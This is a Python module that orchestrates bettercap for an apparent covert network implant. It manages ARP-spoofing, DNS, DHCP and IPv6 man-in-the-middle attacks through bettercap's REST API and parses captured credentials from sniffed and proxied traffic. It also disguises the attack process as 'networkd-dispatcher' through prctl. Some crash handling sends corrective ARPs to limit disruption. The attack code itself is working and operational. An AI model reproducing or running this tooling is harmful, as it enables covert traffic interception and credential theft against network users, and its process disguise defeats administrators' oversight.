#!/usr/bin/env python3
"""Central bettercap orchestrator — single instance, shared by all active modules.

Manages the bettercap subprocess lifecycle, REST API health monitoring,
event stream parsing, caplet management, and crash recovery with corrective
gratuitous ARPs.

All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
route commands through this manager via run_command() and the BettercapAPI
client.
"""

import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.bettercap_api import BettercapAPI
from utils.credential_encryption import emit_credential_found

logger = logging.getLogger(__name__)


class BettercapManager(BaseModule):
    """Central bettercap instance manager.

    Responsibilities:
        - Start/stop bettercap with random per-session API credentials
        - Health monitoring via GET /api/session every 10s
        - Auto-restart on crash (max 3) with caplet re-application
        - Crash recovery: gratuitous ARP correction if spoofing was active
        - Parse event stream for credentials and host discoveries
        - Caplet management: load/unload/switch from config/caplets/
        - Process disguise coordination
    """

    name = "bettercap_mgr"
    module_type = "active"
    priority = 50
    requires_root = True

    HEALTH_POLL_INTERVAL = 10  # seconds
    EVENT_POLL_INTERVAL = 5    # seconds
    MAX_CRASH_RESTARTS = 3
    RESTART_WINDOW = 15        # seconds — restart within this window after crash

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._api: Optional[BettercapAPI] = None
        self._proc: Optional[subprocess.Popen] = None
        self._health_thread: Optional[threading.Thread] = None
        self._event_thread: Optional[threading.Thread] = None
        self._crash_count = 0
        self._last_event_id = 0
        self._active_caplet: Optional[str] = None
        self._spoofing_active = False
        self._spoof_targets: Optional[str] = None
        self._spoof_gateway: Optional[str] = None
        self._arp_disabled_by_crash = False
        self._lock = threading.Lock()
        self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
        self._iface = config.get("interface", "eth0")
        self._api_host = "127.0.0.1"
        self._api_port = config.get("bettercap_api_port", 8083)
        self._caplet_dir = config.get(
            "caplet_dir",
            os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
        )
        self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        # Initialise REST API client with fresh random credentials
        self._api = BettercapAPI(
            host=self._api_host,
            port=self._api_port,
        )

        if not self._start_bettercap():
            logger.error("Failed to start bettercap subprocess")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()
        self._crash_count = 0

        # Health monitoring thread
        self._health_thread = threading.Thread(
            target=self._health_loop, daemon=True, name="sensor-bcap-health"
        )
        self._health_thread.start()

        # Event stream parser thread
        self._event_thread = threading.Thread(
            target=self._event_loop, daemon=True, name="sensor-bcap-events"
        )
        self._event_thread.start()

        self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
        logger.info(
            "BettercapManager started (api=%s:%d, iface=%s)",
            self._api_host, self._api_port, self._iface,
        )

    def stop(self) -> None:
        if not self._running:
            return
        self._running = False

        # Stop ARP spoofing cleanly before shutdown
        if self._spoofing_active:
            try:
                self._api.run("arp.spoof off")
            except Exception:
                pass
            self._spoofing_active = False

        self._stop_bettercap()
        self.state.set_module_status(self.name, "stopped")
        logger.info("BettercapManager stopped")

    def status(self) -> dict:
        alive = self._proc is not None and self._proc.poll() is None
        return {
            "running": self._running and alive,
            "pid": self._get_proc_pid(),
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "crash_count": self._crash_count,
            "spoofing_active": self._spoofing_active,
            "active_caplet": self._active_caplet,
            "arp_disabled_by_crash": self._arp_disabled_by_crash,
            "api_port": self._api_port,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)
        if "interface" in config:
            self._iface = config["interface"]

    def health_check(self) -> bool:
        if not self._running:
            return False
        if self._api is None:
            return False
        try:
            return self._api.is_alive()
        except Exception:
            return False

    # ------------------------------------------------------------------
    # Public API — used by other active modules
    # ------------------------------------------------------------------

    def run_command(self, cmd: str) -> dict:
        """Execute a bettercap command via REST API.

        Args:
            cmd: bettercap command string (e.g., "arp.spoof on")

        Returns:
            API response dict.

        Raises:
            ConnectionError: If bettercap is unreachable.
        """
        if self._api is None:
            raise ConnectionError("BettercapManager not started")
        return self._api.run(cmd)

    def load_caplet(self, name: str) -> dict:
        """Load a caplet from the caplet directory.

        Args:
            name: Caplet filename (e.g., "passive_recon.cap").

        Returns:
            API response dict.
        """
        caplet_path = os.path.join(self._caplet_dir, name)
        if not os.path.isfile(caplet_path):
            raise FileNotFoundError(f"Caplet not found: {caplet_path}")
        result = self._api.load_caplet(caplet_path)
        self._active_caplet = name
        self.state.set(self.name, "active_caplet", name)
        logger.info("Loaded caplet: %s", name)
        return result

    def get_hosts(self) -> list:
        """Return discovered hosts from bettercap session."""
        if self._api is None:
            return []
        try:
            return self._api.get_hosts()
        except Exception:
            return []

    def is_spoofing(self) -> bool:
        """Return True if ARP spoofing is currently active."""
        return self._spoofing_active

    def set_spoofing_state(self, active: bool, targets: str = None,
                           gateway: str = None) -> None:
        """Track ARP spoofing state for crash recovery."""
        with self._lock:
            self._spoofing_active = active
            self._spoof_targets = targets
            self._spoof_gateway = gateway

    def get_api(self) -> Optional[BettercapAPI]:
        """Return the BettercapAPI client instance."""
        return self._api

    # ------------------------------------------------------------------
    # Subprocess management
    # ------------------------------------------------------------------

    def _start_bettercap(self) -> bool:
        """Launch bettercap subprocess with REST API."""
        cmd = [
            self._binary,
            "-iface", self._iface,
            "-no-history",
        ] + self._api.api_flags

        env = dict(os.environ)

        try:
            self._proc = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                env=env,
                preexec_fn=self._make_preexec(self._disguise_name),
            )
        except FileNotFoundError:
            logger.error("bettercap binary not found: %s", self._binary)
            return False
        except Exception as e:
            logger.error("Failed to start bettercap: %s", e)
            return False

        # Wait for API to become available (up to 15s)
        deadline = time.time() + 15
        while time.time() < deadline:
            if self._api.is_alive():
                logger.info("bettercap API ready (pid=%d)", self._proc.pid)
                return True
            time.sleep(0.5)

        logger.error("bettercap API did not become ready within 15s")
        self._stop_bettercap()
        return False

    def _stop_bettercap(self) -> None:
        """Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
        proc = self._proc
        if proc is None or proc.poll() is not None:
            self._proc = None
            return

        try:
            proc.terminate()
        except OSError:
            pass

        try:
            proc.wait(timeout=5.0)
        except subprocess.TimeoutExpired:
            logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
            try:
                proc.kill()
                proc.wait(timeout=2.0)
            except Exception:
                pass

        self._proc = None

    def _get_proc_pid(self) -> Optional[int]:
        if self._proc and self._proc.poll() is None:
            return self._proc.pid
        return None

    # ------------------------------------------------------------------
    # Crash recovery
    # ------------------------------------------------------------------

    def _handle_crash(self) -> None:
        """Handle bettercap crash: corrective ARPs, then restart.

        If ARP spoofing was active, immediately send corrective gratuitous
        ARPs to restore network state. Disable ARP spoofing after 3 crashes
        to prevent a crash loop from disrupting the network.
        """
        self._crash_count += 1
        logger.warning(
            "bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
            self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
        )

        self.bus.emit(
            "TOOL_CRASHED",
            {
                "tool": "bettercap",
                "crash_count": self._crash_count,
                "spoofing_active": self._spoofing_active,
            },
            source_module=self.name,
        )

        # Send corrective gratuitous ARPs if spoofing was active
        if self._spoofing_active and self._spoof_gateway:
            self._send_corrective_arps()

        # Disable ARP spoof after max crashes to break crash loops
        if self._crash_count >= self.MAX_CRASH_RESTARTS:
            if self._spoofing_active:
                logger.error(
                    "ARP spoof disabled after %d crashes — network stability risk",
                    self._crash_count,
                )
                self._arp_disabled_by_crash = True
                self._spoofing_active = False
                self.state.set(self.name, "arp_disabled_by_crash", "true")
            logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
            self._running = False
            self.state.set_module_status(self.name, "crashed")
            return

        # Restart bettercap within RESTART_WINDOW
        backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
        logger.info("Restarting bettercap in %ds (attempt %d/%d)",
                     backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
        time.sleep(backoff)

        if self._start_bettercap():
            logger.info("bettercap restarted successfully")
            self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())

            # Re-apply active caplet
            if self._active_caplet:
                try:
                    self.load_caplet(self._active_caplet)
                except Exception:
                    logger.exception("Failed to re-apply caplet after restart")

            # Re-enable ARP spoofing if it was active and not disabled
            if self._spoofing_active and not self._arp_disabled_by_crash:
                try:
                    if self._spoof_targets:
                        self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
                    self._api.run("arp.spoof on")
                    logger.info("ARP spoofing re-enabled after restart")
                except Exception:
                    logger.exception("Failed to re-enable ARP spoof after restart")
        else:
            logger.error("bettercap restart failed")
            self._running = False
            self.state.set_module_status(self.name, "crashed")

    def _send_corrective_arps(self) -> None:
        """Send corrective gratuitous ARPs to restore network after crash.

        Uses scapy to send a few gratuitous ARP packets with the real
        gateway MAC to undo any poisoned ARP caches.
        """
        try:
            from scapy.all import ARP, Ether, sendp, getmacbyip
        except ImportError:
            logger.warning("scapy not available — cannot send corrective ARPs")
            return

        gateway = self._spoof_gateway
        if not gateway:
            return

        try:
            gw_mac = getmacbyip(gateway)
            if not gw_mac:
                logger.warning("Could not resolve gateway MAC for corrective ARPs")
                return

            # Gratuitous ARP: gateway telling everyone its real MAC
            pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
                op=2,          # is-at
                psrc=gateway,
                hwsrc=gw_mac,
                pdst=gateway,
                hwdst="ff:ff:ff:ff:ff:ff",
            )
            sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
            logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
        except Exception:
            logger.exception("Failed to send corrective ARPs")

    # ------------------------------------------------------------------
    # Health monitoring loop
    # ------------------------------------------------------------------

    def _health_loop(self) -> None:
        """Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
        while self._running:
            time.sleep(self.HEALTH_POLL_INTERVAL)
            if not self._running:
                break

            # Check if process is still alive
            if self._proc and self._proc.poll() is not None:
                self._handle_crash()
                continue

            # Check API responsiveness
            try:
                if not self._api.is_alive():
                    logger.warning("bettercap API unresponsive — checking process")
                    if self._proc and self._proc.poll() is not None:
                        self._handle_crash()
            except Exception:
                logger.exception("Health check error")

    # ------------------------------------------------------------------
    # Event stream parser
    # ------------------------------------------------------------------

    def _event_loop(self) -> None:
        """Poll bettercap event stream for credentials and host discoveries."""
        while self._running:
            time.sleep(self.EVENT_POLL_INTERVAL)
            if not self._running:
                break

            try:
                events = self._api.get_events(since=self._last_event_id)
            except Exception:
                continue

            for event in events:
                self._last_event_id += 1
                self._process_event(event)

    def _process_event(self, event: dict) -> None:
        """Parse a single bettercap event and emit bus events as needed."""
        tag = event.get("tag", "")
        data = event.get("data", {})

        # Credential captures from HTTP proxy, net.sniff, etc.
        if tag in ("net.sniff.credentials", "http.proxy.credentials",
                    "https.proxy.credentials"):
            self._handle_credential_event(data)

        # Host discovery events
        elif tag in ("endpoint.new", "endpoint.detected"):
            self._handle_host_event(data)

        # Module status events
        elif tag.startswith("mod."):
            logger.debug("bettercap module event: %s", tag)

    def _handle_credential_event(self, data: dict) -> None:
        """Emit CREDENTIAL_FOUND for captured credentials."""
        payload = {
            "source_module": self.name,
            "source_ip": data.get("from", ""),
            "target_ip": data.get("to", ""),
            "target_service": data.get("proto", "unknown"),
            "username": data.get("username", ""),
            "credential_type": data.get("type", "cleartext"),
            "credential_value": data.get("password", data.get("hash", "")),
            "raw_data": data,
        }
        emit_credential_found(self.bus, self.name, payload)
        logger.info(
            "Credential captured: %s@%s (%s)",
            payload["username"], payload["target_ip"], payload["target_service"],
        )

    def _handle_host_event(self, data: dict) -> None:
        """Emit HOST_DISCOVERED for new network hosts."""
        payload = {
            "source_module": self.name,
            "ip": data.get("ipv4", data.get("addr", "")),
            "mac": data.get("mac", ""),
            "hostname": data.get("hostname", ""),
            "vendor": data.get("vendor", ""),
            "os": data.get("os", ""),
            "raw_data": data,
        }
        self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)

    # ------------------------------------------------------------------
    # Helpers
    # ------------------------------------------------------------------

    @staticmethod
    def _make_preexec(disguise_name: str):
        """Return a preexec_fn that renames the process via prctl."""
        def _preexec():
            try:
                import ctypes
                libc = ctypes.CDLL("libc.so.6", use_errno=True)
                PR_SET_NAME = 15
                name_bytes = disguise_name[:15].encode("utf-8")
                libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
            except Exception:
                pass
        return _preexec
